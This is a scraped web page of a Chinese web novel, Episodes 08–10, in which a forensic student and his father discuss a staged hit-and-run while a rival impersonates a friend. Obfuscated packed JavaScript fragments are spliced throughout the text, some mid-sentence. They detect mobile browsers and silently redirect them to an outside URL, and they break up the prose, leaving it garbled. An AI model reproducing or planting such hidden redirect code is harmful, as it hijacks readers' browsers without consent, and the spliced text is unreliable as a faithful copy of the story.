0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086096|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体互换的事情。 怕报复? 会怕报复,他就不是漫画正统派主角了。 “怎么说?”我追问道。 “傅霖”直接给我看他手机里面的录像——穿着商河星那件黑色卫衣,戴着熟悉的黑色口罩的浅发青年在24号凌晨时分,出现在街头,步伐趔趄,走了好几秒,镜头里面的人抬头直接看着不远处的街头监控。 只要是熟悉他的人,就算是隔着口罩也可以认得他那双疏离清冷的眉眼。 “是商河星。”我确定道,“可是,现在已经是26号了。” 且不说这是真是假,他这话又是什么目的,我只问:“时间过去两天多了。你的想法是什么?” “他有可能遇害了。”商河星垂下眼眸,说道,“过去阿瑟市长的旧部余党对这个叛徒深痛恶绝。这就是我们联系不上的原因。” “……” 我沉默不是因为悲伤,而是不信。 商河星深深地望进我的眼睛里面,像是在抓住我的灵魂审视我到底有没有信他的话。 他又问,你怎么想? 这个问句虽然简单,但是极为毒辣。 真正的商河星并不是个单纯的人。 他会这么说,自然不是因为他以为只要说「商河星遇害」后,就断了所有人去找这个「商河星」的想法了。他可以从此高枕无忧,不再烦恼「商河星」的行踪了。 没那么简单。 相反的,他会说这句话,就是在怀疑我。 因为从欢送会到跌落站台之后,我都一直在表现出自己对商河星的关心和在意。现在听到他可能遇害了,我无动于衷,就显得我从一开始就在怀疑“傅霖”,对他的话存疑。 可是,要让我真的为这种捕风捉影的事情而放下一切去找人,那我就中了他的陷阱。 我垂下眼眸,很快就又抬起头,坚定地看着他,“你和他是最好的朋友。你打算做什么?一切都听你的。你想怎么做?” 这肯定要先道德绑架。 先把他架起来再说。 商河星顿时哑言,“……” 你说不找,我就不找。 你说找,自己不动弹,那我也学你摸鱼划水。 你说找,且努力找,我就负责监督你的行动。 我非常认真地看着他。 话说,我突然心里一紧。我莫名感觉到,他对我有一种古怪的执念。 明明我是主角队最边缘的人物,而我也不算是最熟悉傅霖的人,甚至都已经摆出明显的退避姿态了。可他为什么要盯上我? 难道是因为我看起来太好欺负了? 我下意识地想找镜子照一下脸,看看上面有没有写着“这个特别好欺负”? 就在我看着商河星作茧自缚的时候,我爸的声音亮了起来,“可以吃饭了。” 商河星旋即平静地从沙发上站起身,像是在逃避回答。 可因为这一点,我的内心瞬间涌起了一阵不安,好像有什么重要的事情要发生。我下意识想要先拉住他,但手指只是动了动而已。 可惜,被他跑了。 不过,我好像很快发现了我不安的来源。 因为在五分钟后,我在饭桌边上任劳任怨地给我爸剥虾的时候,还要给我的“救命恩人”剥。 “……” 这个世界可真玄幻。 我不懂! 8. Episode 08 Episode08啊,我高兴极了 星期四,晚上6:44分。 有一说一。 在商河星被我爸邀请来我家之前,我从没觉得他会这么让人头疼。 也许这很大概率是因为过去我根本没把他放在心上,我们之间也没有那么交集。然而,现在,他开始“登堂入室”之后,情况发生了变化,我才发现这人真的挺麻烦。 这和刷好感度没关系。 我压根就没指望,一个冷血的精致利己主义者会在短时间内信任陌生的熟人。如果他真的这么做了,要么是别有目的,要么就是他认为对方智商太低了,很好操控。 我仅仅指的是他洁癖的习惯。 他居然吃个小龙虾,还要别人剥给他吃。 我和他又不熟,如果不想剥,难道不能不吃吗?我会剥给我爸吃,是因为他对虾蟹壳过敏,可他还愿意陪我吃。那我肯定是要为我爸爸服务的。 这家伙何德何能? 我诅咒商河星一辈子吃不到最好吃的小龙虾。 吃饭过程中,我一边心里碎碎念,一边却得端着礼数,细心照顾客人。 我面带营业微笑,客气地问道:“傅霖,你还要不要我剥一些给你吃?” 你最好给我拒绝。 也不知道他是不是故意的,商河星微微一挑眉,毫不犹豫地说道:“可以,麻烦再来一点。” 话音刚落,我内心一阵翻腾,只能暗戳戳地,狠狠地瞥了他那双干净、骨节分明的大手一眼。我之后绝对不会多问了。 才调整心态,刚低头不久,我爸的声音就响起来了,“阿稚,你还记得你上周日回家报警的事情吗?” 我顺势跟着他的话抬起头,“那起交通肇事逃逸致人死亡的案子?不是早就解决了吗?” 上周日欢送会结束后,主角队还有些人好像要续,说是去唱K或者逛酒吧。我不想赶这热闹,再加上我早就想走了,就说我还有论文要做,就先回家了。 报警的时间是晚上九点四十三分。 在那之前,我正骑着单车回家。学校到我家的路程大约有20分钟。路上会经过一座窄窄的石砖桥,桥面只容得下行人和骑车人通过。桥下是双向车道,没设人行道,白天的时候,车辆会比较多。 在过桥时,因为桥栏只有一米高,视野开阔,能清楚看到桥下公路的情况。常常有些人无聊或者散步的时候,就会靠在桥栏边上看公路底下的风景。 我那时候其实也没有太特意去看,只是照例上了桥,只注意到底下有一辆车没有打双闪灯就靠在路边。我下意识地多看了一眼,结果看到轿车前面有人正试图抱起一个躺在地面,奄奄一息的女人。 街道有被路灯照亮,我清楚地看见路边没有紧急刹车留下的轮胎痕迹。血迹和车头的方向与距离也与一般车祸情况不符。更引人注意的是,两人左手无名指都佩戴着白色金属戒指,在微弱的光中反射出微微的光泽。 有了初步的判断后,我便在桥梁上喊,“发生什么事情了?你们需要帮忙吗?” 接下来,我帮忙拨打了救护车的电话,同时也报了警。 警察到场勘查后,说是一场肇事逃逸的车祸事件,救护车来得不够及时,女人在送往急救中心的路上不幸身亡。全程陪同的男人是死者周秋莹的丈夫林全。 据林全所述,当晚原本是他们的第一年结婚纪念日,但两人发生了冲突。周秋莹离家后,他拨打妻子电话未果,便到她平常散步的地方寻找,最终在这里发现遭遇车祸的妻子。 “对——” 我爸好像也有经手这个案例的人,他直接说道:“遇到了奇怪的问题。” “难道那是一起伪造车祸事故?” 我当时也看了现场,也支持警察的观点。 至少从现场中看不到丈夫林全的车子和死者接触的痕迹物证,尸体也没有明显的开放性伤口。如果这个案子会让我爸感觉奇怪,那肯定是因为尸检报告有可疑处。 我们在家经常会聊案子,我下意识回复后,又看向“傅霖”。 从过去接触商河星开始,他就明摆出自己不爱和尸体打交道。他经常只是做黑客工作的部分。现在他果然摆出一副自己也在认真听的模样,身子还跟着前倾着。 “打开尸腔之后,有什么发现吗?”我已经开始兴致勃勃了。 我爸普通地说:“就很正常的车祸事故特征。” “就这?” 比如说血肿淤血啊,软组织挫伤啊,皮肉破裂啊,眼耳口鼻是否有分泌物,还有是否已经开始出现了腐败的情况,甚至尸体那股味道啊。 这里没有外人,放心大胆地说出你看到的。 我爸听不出我的言外之意,只是说道:“在死者口中发现了一张纸条,上面写着预言般的文字「死于车祸」,底部还有一个Vita的字样。” Vita?没听过。 我皱了皱眉。 “V、I、T、A吗?”我再次确定道。 这是一起预告式杀人? 我还等着我爸回复,商河星反应过来,说道:“也就是说,这看起来本来是一场正常无预谋的事故,可是在尸体上发现了字条,暗示这并不是普通的案件。你对这个矛盾产生了疑惑。” “对!”我爸对“傅霖”这个解说摆出教学式的鼓励,“不愧是Anubis之光,一点就通。真的太聪明了!阿稚你说,对不对?” “……” 这种捧场会显得很降智,我就不参与了。 我顿了顿,说道:“你们打算怎么处理?第二次尸检?” “对。因为这件事,我们打算进行第二次尸检。”我爸立刻接上我的话头,“可是,死者的丈夫林全反对了。他说已经有了第一份尸检报告,并不需要做第二次尸检。他只想要早点把妻子下葬。为此,他周二的时候,还专门来单位前台找负责人。部长见我没事做,就让我和他周旋。” “他这种态度很可疑。”我的声音刚起,就恰好和商河星重合。 这一重合,我们两个视线无意识地交汇。在那一瞬间,我读到了他眼中流出的那丝谨慎和警觉。 我下意识地别开眼。 与此同时,我脑袋里面灵光一现,再次想起手机里面的漫画预告的内容。我内心暗暗一惊,难道我还要像过去一年一样,充当发配任务的“村中长老”的角色,让主角队早点接到案子,解决案子吗? 商河星不知道我在想什么,又开始问我爸:“那个叫做林全的男人周二来找您的时候,是不是穿着深蓝色的衬衫和黑色的西装裤?在颈部位置,他还佩戴着一条挂着银色十字架的黑色皮绳?” 这话让我一惊,十字架的特征不是和我S级糖炒栗子的卡面人物有重合吗? 难道抽卡系统现在会让我抽出凶手的长相吗? 我突然觉得这糖炒栗子不能吃了。 “对!”我爸惊奇道,“你怎么知道的?” 商河星有条不紊地回答:“黎稚被推下站台之后,我就调查过车站的录像。虽然发生过程中刚好是监控的盲区,但是在事故发生时,匆匆地从人流中逆行而走的有一个同样打扮的人。” 我和我爸在这句话落下之后,都表示惊呆了。 因为我一直以为是商河星推的。现在被他这么一点,作为曾经的反派Boss(中级),杀人手法是趁人不备把对方推下站台。这确实是有点低级了。 不过,我能说他背刺傅霖那一下,也不见得有多高明吗? 还是,我被漫画预告彻底误导了吗? 难道商河星其实是好人? 我现在思绪忍不住乱飞起来。 我爸则是没想到林全会盯上我。 商河星也没有等人问,继续分析,“也许那个林全与这起车祸有不少的牵扯,哪怕不是凶手,也可能认识凶手。他会对黎稚下手,很可能是因为他觉得黎稚当时在现场发现了不该发现的事情。” “如果黎叔叔在鉴定中心见他时,也是挂着挂牌的话,他很可能会认为是黎稚和您有关系,并且把疑点告诉您,鼓励您做第二次尸检。于是,他对黎稚怀恨在心。” 被他这么一点,我爸立刻反应过来,“是的。你这么一说,我想起来周二离开的时候,前台跟我说林全问过他们「我和阿稚有什么关系」吗?” 商河星郑重地说道:“黎叔叔还是要尽快安排第二次尸检比较好。” 我爸连忙点头,站起来要给我值夜班的郑女士打电话。 餐桌上对话的热闹顿时因为我爸的离场而冷清了一些。而我们两个单独留在餐桌边上的存在感越来越强烈。 我因为误会商河星,感觉到了一些尴尬和心虚,也不知道该做什么。注意到他的碗又空了,我主动请缨,“你还想吃小龙虾吗?我给你剥。” “我们单位餐厅的小龙虾是我吃过最好吃的,你一定要多尝尝。” 这刚说完,商河星便凝视我,像是在找出我为什么那么热情的原因。我内心顿时一阵不安,难道我的情绪被他看透了吗? 我努力掩饰尴尬,装作若无其事。 这只小龙虾真的好小龙虾呀! * 晚饭过后,我爸、商河星和我在等我妈召唤值夜班的同事进行第二次尸检的结果。 尸检结果和第一次没有区别。 另外,我妈也搞来了警察那边的资料。 林全当时没有作案时间。 警方也有林全出来找人的证据:「他曾在晚上9:10时,在加油站的零售店买过一瓶矿泉水」。 此外,街坊邻居也可以证明林全没有杀人动机。虽然林全和周秋莹新婚后半年里有一些激烈的争吵,但是半年后直到现在,夫妻关系蜜里调油,处得很好。 周秋莹身上也没有任何保险。 也就是说,对于林全来说,周秋莹的死让他失去了自己的爱人。 仅此而已。 “那为什么林全会推黎稚呢?这是误会?”我爸还是放心不下,又是自问自答,“还是失去妻子之后,精神错乱?”,又是站起身,要给我妈打电话,让她把尸体里里外外翻干净才行。 商河星坐在单人沙发上,也陷入了沉默的思考。 因为已经有两个人在思考我被推下站台的事情,所以我脑袋里面则一直在思考漫画剧情的内容。 商河星到底是好人,还是坏人? 他杀傅霖的目的是什么? 傅霖是真的出现在废水厂,不是商河星假造的视频?如果是这样的话,商河星找傅霖的原因又是什么?他要实现什么目的? 我还在发散思维,注意到商河星瞥了我一眼。内疚的我立刻把关注放在他身上,“你要不要吃点点心? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100169|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我有糖炒栗子,可好吃了。” 卡牌等级跟零食消耗量有关系。 N级卡牌一般只有1次性消耗品。随后是R、SR、SSR,分别对应的是10次、100次和1000次。最近遇到的S级卡牌指的是Special,应该是在特定条件下才会获得,我看到的糖炒栗子下面有“∞(无限)”。 也就是说,我可以无限次抽出糖炒栗子。 不等他拒绝,我就去厨房里面搞一份糖炒栗子出来。不过意外的是,原本的卡牌人物比上次要多了一些人物色彩,看得出是个颀长清隽的身形。 难道解锁S级全貌是和案件进度有关? 我莫名感觉,这次商河星没有脱离Anubis,必然会给这个城市大的震动? 带着隐隐的不安,我端着糖炒栗子回客厅,“你要吃点吗?” 商河星拒绝道:“不用了。晚餐吃得很饱。” “点心是放在第二个胃里面的,你绝对不会撑。” 没有人会拒绝美味的点心的。 我想起他不爱动手,于是主动剥了一个给他。递过去的时候,我才意识到,从前,商河星从来没有吃过我给的零食。 “好吃吗?”我好奇地问道。 “一般。”商河星回应的表情非常淡。 我有些失望,在零食方面我是战无不胜,攻无不克的。不过,我很快就明白了,这一定是因为没有茶水。 于是,我又主动说道:“我再去给你泡点茶。” “……” 等我爸回来之后,商河星已经被我喂了八个栗子。他一对上我爸,便说道:“黎叔叔,我觉得这件事可以再好好调查一下,而且时间也不早了,我也先回去了。” 见他要走,我也跟着站起身,说道:“那我送送你。” 商河星看着我的表情露出一丝古怪,可也没有说什么。直到我们进入电梯之后,他才旧事重提,“关于商河星的事情,你怎么想?” 从吃饭开始,我们就一直没有讨论这个问题。 其实我还是那句话——不想管。 就算不是商河星推我的,可老实说,从漫画一开始,我最终目的都是为了自保。哪怕后面说要去确认傅霖的情况,也是基于自保的情况下,努力保护自己的良心而已。 毕竟,在有余裕的情况下,我不能见死不救。 “……” 现在的我不知道该怎么给出最好的答案。 我住的楼层并不高,电梯很快就到了一楼。可商河星还没有等到我的答案,于是在电梯门打开后,他也没有急于离开。 他的表情微微有点冷,“这个问题会很难回答吗?” 见他目光越发晦暗起来,我CPU都快烧起来,社恐的真实社交才能已经见底了。还没有等开口,商河星微微蹙眉问道:“你为什么要这么关心商河星?以前从来都没有见过你这么关心他的。” 感恩! 来了一道我会的题! 我回应道:“我其实一直都很关心他。他从来没有对外说过他的喜好,可是我知道我该买什么礼物送给他。如果我不关心他,我怎么会知道呢?” 他绝对想不到我有剧本。 “所以——” 商河星问了一个我意料之外的问题,“比起f…比我来说,其实你会更在意商河星?” 我说:“是啊。” 看看,人谎话说多了,嘴皮子都越发利索起来了。 “骗人。” 商河星一言不合就揭穿我,“那你为什么欢送会的时候,没给他写信?” “…因、” “……因为我害羞。” “………就是那种近情情怯。” “我一直都觉得商河星他身上有我很羡慕佩服的特质。可是我一直不知道怎么与他接触。” 阿巴阿巴,谁救救我,不要让我继续瞎说了。 商河星此刻幽深的目光动了动,语气没有傅霖的温和洒脱,反倒多了一丝他自己的本色——警惕而敏感。不过,他的话却像是傅霖会说的,“如果商河星听到的话,他也许会很惊讶你会这么说,或许……” 他顿了顿,话语中带着意味深长,“你们下次见面的话,他会对你很好奇,很会想靠近你。” 我盯着他本人,“……” 不要吧?你是怎么了吗? 你知道你在说什么话吗? 我跟你不熟。 商河星不在意我怪异的目光,只是继续说:“我们先把林全的事情解决了。我们再处理商河星失踪的事情。我会陪你一起找。” 我怔了怔,赶紧说道:“可离周日离开,只剩下不到三天,怎么解决得完两件事?” 商河星不置可否,只是大步从我旁边走过。直到走出电梯门后,他一锤定音,冷静自持的嗓音在封闭的环境里响起来,“我暂时不离开Anubis了。” “……” 欧漏…… 他问:“你不高兴吗?” “啊…我高兴极了。” 这话一落下来,我彻底明白他过来的原因了。他就是要在我这里找留在Anubis的由头吧?我算是知道了。因为离开不了,又不能直接说不走,所以要曲线救国一下。 话说,我梦寐以求的平静日子真的还能保得住吗? 我绝望地想着。 9. Episode 09 Episode09吃完才能吃下一个 “黎稚,不愧是你!你居然能把傅霖留下来了。” “他在群里说,不放心你的安全,也想要找到失联的商河星,所以暂时推迟离开的计划,说不定他会接受之前退掉的Anubis司法官的委任。这么一来,也许他会在这里至少多待一年时间!” 周五清晨一大早,我就听到小庄清脆的声响。她的语调中带着一丝兴奋,却让我有些压力。 小庄在进了停尸房,看到我的第一句话不是“你今天怎么来了”,而是说这些灭顶的坏消息。这说明她真的很高兴了。 其实我不想来的,因为今天还下着雨。 不过,面对面聊天更建立信任,也能更准确地判断情绪和状态。 我当然不是为了詹主任说的“今天有高度腐败的巨人观”才过来的。 不可能不可能! 总之,我的手顿了顿,默默地在PPE(个人防护服)上再套一件塑料围裙。防护服为了追求透气性,牺牲掉了防水的特性。没有人想体验血液或者腐水渗透进的皮肤感受,这时候的围裙是至关重要的。 “你怎么做到的?”小庄好奇地问,眼睛也闪烁着期待,“难道是那封信?你到底写什么了?” 小庄是具有典型的胆汁质特征,容易受到情绪影响。在小团队里面,她很容易成为煽动情绪的队员,有时候也会变成别人的传声筒与助推器,激发其他人的情绪共鸣。 “我没有写什么。”我语气平淡。 我写的就是普通的送别语,甚至有些话都是在网络上摘录下来的。生活又不是小说。在主角即将离开的时候,暗示他「自己其实是个穿越者」,无疑是画蛇添足,自找麻烦。 我只是感谢他而已。 看到我并没有露出她想象中的神情,小庄也下意识地收起自己活跃的表达欲,转而关心我的情绪,“怎么了吗?身体不舒服吗?” 我真心地叹了一口气,道:“因为我给他添麻烦了。他明明那么想走,还因为我的事情牵绊住。这让我很对不起他。” 小庄连忙宽慰我,说道:“也不完全是这样的,想想看,商河星不是失联吗?傅霖会留下来,也有为了他。” 她没有理解我的点。 “我觉得,”我看向小庄,认真而坚定,“我们应该帮助傅霖去解决问题。你懂我意思吗?我们应该让他顺利地登上回家的路。我知道你很希望傅霖能留下来,可是现在不是牺牲傅霖个人感受的时候。我们都知道他很想念自己的家人。” 小庄被我一点之后,表情很快就跟着挣扎起来,最后垂下头,“黎稚说得对,我明白了。我们应该帮助傅霖才对,而不是阻拦他。” “我有话跟他们几个人说,”我停顿了一下,语气坚定地对小庄说道,“你帮我建立一个新的聊天群吗?” 商河星能模仿傅霖,并不代表他天生就是一个社交能力强的人。否则,他也不至于长期都会在我们小队里面显得形影单只。要知道,我们团队里面大部分都是热心且善良的性格。即使再难缠的性格,他们都会自动为对方找优点。 在这种环境中,商河星还能对他们的示好无动于衷,与他们也不亲近,那肯定是他社交能力上存在缺陷。 如果他认为可以凭逻辑来玩这种扮演游戏,那我就陪他玩心理博弈。 最关键的是,他不能破坏我现在安静的日子。否则,我就要祭出我珍藏多年的PlanB——举家离开Anubis城。 这个想法持续很久了。 毕竟我从小就知道这里注定不太平。 这个计划对我有天生的优势。 因为,对于漫画玩家来说,他们无法离开Anubis。可是对于土著来说,Anubis只是一座城而已。我只要离开这里,就可以免受剧情影响。 之所以我之前不离开,是因为我们家的根就在这里。我爸我妈在这里工资虽不算最多,职位也不算是最高,但是他们在这里生活了那么久,社交圈都稳定在这里了。让他们突然离开,就像是放弃了一个经营多年的游戏大号。没有更好的条件,这是很难说服他们的。 可是,难,不代表不能。 我清楚,无论如何,我都是有退路的。 “另外,我的事情也可以自己解决。” 能在这个高危社会混那么久,我也是有自己的生存本事的。 原本还闷闷的小庄一听到我这么说,立刻就拒绝了,“这可不行!你是连下雨天都会觉得不舒服,要请假的人,怎么可以自己面对凶徒呢?” 小庄突然坚定的反应把我吓了一跳。 还没有等我回应,门扉就被人推开,是詹主任。 他一看我们,就笑,“学习精神那么足!快,先准备摄像头,巨人观来了。” ※ 尸体用三个黑色塑料袋,由四个警务员送到了尸检室。 排气扇已经调到了最大功率,隔着一扇门,都能感觉到门在沉闷的“呼呼”声中微微共振着。然而,一进门,我们就能闻到一股强烈的味道。小庄才刚走进一步,就自动捂着戴着口罩的口鼻往后连退了三四步。 所谓的巨人观是尸体内部腐烂后微生物和酶在溶解脏器时释放出大量的气体,导致尸体身体会像是气球一样膨胀起来。那里面装满了甲烷、二氧化碳、氨气和挥发性的天然毒素尸胺等。这体积可以增大到原本的1.5倍。 可以想象得到那尸体已经成了微生物和蛆虫的快乐乐园了。 巨人观是和鲸爆一样罕见的画面。不过,尸体倒是不会出现爆炸的现象,所以除了恶臭和腐液等之外,基本没有太多的危险性。 詹主任让我先去开第一刀。 刀碰到皮肤的触感让我心里微微一震。 不知道有没有人用刀切过水气球? 我其实也没有,可是我觉得应该会很像。我会发现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114971|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那紧绷的皮肤对锋利的刀有推拒感,刀面还像是遇到一种滑腻,会被弹开一样。被气体抻得没有一点皱褶的皮肤甚至还会因为我的施力而跟着起微微的波动。 哇——! 我正想要分享我的所见所感,回头看到詹主任和其他人已经离我有至少五步远,“……” “快切。”詹主任催促道。 我再准备回头的时候,手指间的力气无意间加大,可其实也没有几牛顿的力。只是解剖刀太锋利了。 我才刚转头,詹主任一句惊呼“黎稚,躲开点!”下一秒一股绿色的液体裹着恶臭就喷了出来,我没有躲得很完全,还是被溅了半脸,连我头发都不能幸免。 气体还在“咻咻”地漏气,我已经听到詹主任跑过来的声音,正想说不要紧,结果看到詹主任在安排小庄开始量液体喷溅的距离,“…幸好没有被黎稚挡到全部的液体。” 可能是注意到我没有声音,詹主任连忙抬头,紧张地关心我一句,“黎稚,你没事吧?” 我沉默了两秒,终于说道:“…没事。” 我又提醒说:“数据量完了,也分享给我。” ※ 吃饭前,我们全体都去洗了澡。 单位有洗澡间。 我洗了有三十多分钟,确定身上没有其他味道才出来。男生洗浴间有人排着队等吹风筒,我算着时间,轮到我也得是15分钟后,只是把头发擦得不滴水,就去食堂了。 我点了一碗牛肉细粉,正要找个角落的位子,就听到背后传来小庄的声音,“黎稚,你来这里坐。” 这一回头,我就看到了“傅霖”的脸,吓得心脏骤停。紧接着,我看到小庄还拿着一盆小龙虾。 见他盯着我也不说话,我主动打招呼,“好巧。” “傅霖”说道:“昨天在你家吃饭的时候,觉得你们单位的伙食很好吃。刚好来取周秋莹的车祸资料,也顺道过来了。” 小庄笑盈盈地附和说道:“傅霖说你很会剥小龙虾,我也想和你学一下。” 我觉得,这里面有个又大又深的坑。 “傅霖”笑了笑,“要是能再享受一次黎稚的服务,就好了。” 这话一落,小庄惊讶地觑了一眼“傅霖”,像是奇怪他怎么会这么说。而“傅霖”则自如地回应小庄,道:“我只是在开玩笑而已。” 小庄也跟着乐,“那我也想享受~” 我扫了一眼周围,思量了一会,“那也不是不行。毕竟这也没必要脏那么多人的手。不过要我剥,可是都得吃完。” 小庄惊喜地问道:“真的可以吗?” “傅霖”也跟着微微挑眉,“那可真的太好了。” 坐在椅子上后,我帮两个人心细地剥东西,一边递,一边说:“你一个,你也一个。” 小庄一个小龙虾肉。 “傅霖”一个生蒜。 我笑着回应,“吃完,才能吃下一个。” 10. Episode 10 Episode10「第三人称视角」这人有点意思 六台显示屏连接的线路铺满地面,就像是芯片回环反复的暗色纹路,房间也跟着散发着冷峻的秩序感。 这是商河星原身的工作室,也是他的起居室,是其他人都不知晓的秘密空间。 这地方最容易因为静电积累灰尘,而商河星本人又有灰尘过敏的症状,所以他一向对这个房间的每个摆设都小心翼翼。只要稍微有点变化,商河星就会察觉到区别。 也正是因为这一点,在3月24日(星期一),商河星以傅霖的身份生活的第一天,出门找傅霖的蛛丝马迹时,他第一反应就是返回自己居住的秘密公寓,检查是否有任何傅霖留下了任何痕迹。 玄关处的口罩数量丝毫未动,和他进入主神空间前之前的一样。如果傅霖是顶着自己的身体在外面活动,现在的季节变化肯定需要他佩戴口罩,否则“商河星”的身体会受不了。被窝里面没有任何余温,电脑主机和鼠标的位置分毫不差。衣柜中乔装打扮的衣服也没有被翻动的痕迹。 商河星熟悉这里的每一寸空间,但依旧没有发现任何外人入侵或者离开的痕迹,心中不免微微一沉。 他迅速分析可能性——傅霖可能确实和他换了身体,只是他没有现身,又或者已经在蓝星。可最糟糕的情况是,他们共享了这具身体,而他只是暂时控制着它。 商河星打开自己的显示屏,连接整座城市最大的视频监控系统。它能利用人脸结构化数据,快速而精准地锁定目标人物。这是他为前市长「埃塞尔」工作时,获取的权限。 整个系统跑了整整个八个小时不止,仍然没有看到“商河星”的身影,仿佛人已经彻底在整个Anubis彻底人间蒸发。 这对于商河星来说,是个不幸的信号。 面对散着蓝光的屏幕,商河星的目光是死寂的,阴沉的。 已经在这个世界待了一年多,抱着可以脱离这里的想法坚持了那么久,现在却被反将一军,被恶狠狠地耍了一通,商河星感觉自己全身的血液在汹涌怒气和不甘心。 他的拳头下意识地握紧,只想要破坏眼前看到的一切。 就在这时,傅霖的手机响了起来。 商河星冷漠地盯着这个铃声震动的手机,他跟那个傅霖并不一样,他从来都不想要和NPC有什么互动。早上可以不让人起疑,商河星和黎稚说几句话,现在他已经不想回到那个大学校园里面了。 铃声持续了四十秒左右才灭了。 商河星正挪开自己的视线,结果这个铃声再次响了起来,还是同一个人——与傅霖同一个专业学生安轻言打过来的。似乎是如果没有接起来的话,这人还会持续不看眼色地拨打过来。 “……” 重新整理情绪和吐息,商河星拾起手机,瞥了一眼黑色屏幕,“安轻言,怎么了吗?” 安轻言语气平静:“离你回去还有几天,我们一起吃个饭,怎么样?” 商河星想拒绝,安轻言接着说道:“我有些话想问你,来学校附近的快餐店见吧。” 这话的语气让商河星有些怪异。 也许是他太过敏感了,他会觉得安轻言面对傅霖的说话方式有点强硬。 这不像是他理解中的以傅霖唯马首是瞻的小团队相处模式。可商河星现在正处在愤怒之边缘,一想到傅霖团队里面的人也许多的是自己不知道的龃龉,他反倒是要揭穿他们另一面的痛快,当即应了下来,“可以。” “你把黎稚的信也拿过来。”电话另一边又冒出其他更强硬的声音,似乎有种不容拒绝的命令感,“你不要告诉我,你不愿意?” 商河星原本并没有太把黎稚的信放在心上,可是早上经历的事情再加上安轻言的话,确实让他产生了好奇。 应下来后,商河星便回到了自己的宿舍找那封信。找了半天,他都没有在房间里面看到。后来想起傅霖去主神空间的衣服和送别会的是一样的,商河星检查口袋后,很快就在内侧口袋里面找到了那封信。 信封是开的。 商河星还记得黎稚在欢送会上结束时和傅霖说过,离开之后再拆,没想到傅霖已经提前开了。 信件的内容颇为泛泛而谈,很像是游戏结束时会播放的旁白,总结过去的生活,又是展望未来,都是空洞的祝福语。 他眉头皱了皱,这信自然不是出奇的物件。 答案只有一个,真正引人注目的是,信背后的人以及他们的关系。 商河星回想起今天早上和傍晚的黎稚,确实比想象中的还有更多的面,甚至让他产生了危险的感觉。 也许,他应该给更好地了解这人才能找到他的弱点。 于是,他见安轻言又多了一个理由。 * 大学附近的快餐店很多。 商河星也没有多问他们在哪里见,但是很明显傅霖小团队有自己的偏向,包括上次欢送会订的外卖也都是那家快餐店的盒子。 果不其然,商河星走到店里面,安轻言和其他几人已在等候。 商河星调整了表情,模仿傅霖的语气和他们打招呼。 然而,此刻他们表情深沉,完全没有欢送会上热情友好,气氛异常沉默。 “你现在是不是很得意了?”性格最直率的何其思毫不遮掩自己的态度。 商河星忍不住在心里冷笑起来,“……” 他作为局外人,旁观了他们虚假的朋友游戏多日,完全不相信明明「推翻Anubis市长」是整个团队的功劳,名利却全落在了傅霖身上,而他们居然对此毫无怨言或者暗自不满。 之前他一直把他们当做是游戏世界程序的NPC,只是标签化,脸谱化的存在。 现在看到他们露出真面目,这种变化让他产生愕然,却又让商河星感觉更有趣了。 何其思没有等到商河星的回应,身影一跳,抬手直接招呼到了“傅霖“面前。 如果是以商河星自己原来的身体,他根本躲不过何其思的一击。不过,现在的他不仅轻松抓住了何其思的手腕,还觉得他的动作缓慢又笨拙。 可他很快就把惊讶压下来,正打算将他甩开时,何其思却不怕反击,目光只锁定在商河星的口袋,“信呢?拿出来看看。” 商河星的动作顿了顿,正要反应,安轻言的声音在一旁响起,“何其思,冷静点,小心被傅霖扔出去。你又打不过他。” 何其思不服气道:“拜托,我又没做什么事情。他为什么要打我?” “你都要抢信了,还没做什么事?”又有一人搭话了。 三言两语间,整个谈话氛围又从霸凌现场变成了一种和乐融融的气氛。 商河星不得不再次谨言慎行起来。 把信交出来之后,商河星发现大家真的就是冲着信而来,不无兴奋的声音。尤其是何其思,“天啊,黎稚都给你写信了,真好!” 哪怕是看起来最稳重有风度的安轻言看着信件,眼神也是微微一亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129453|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是看到了什么珍贵的物品。其他几人都跟着靠了靠,想看信件的内容。 “你们想的话,可以打开来看。”商河星开口说道。 安轻言接过信封后,轻轻地摩挲着信封边缘,低声笑道:“黎稚想法真特别,居然会想着写封信给你,明明多的是联系方式。”他的语气听似轻描淡写,但是商河星却察觉到了一丝压抑的羡慕,甚至带着某种隐秘的崇拜。 他又说:“他平时虽然笑着,性子却有点冷冷淡淡,做事也都是点到即止。他能亲自写信,肯定是真的在意。” 一旁的几人也跟着点头。 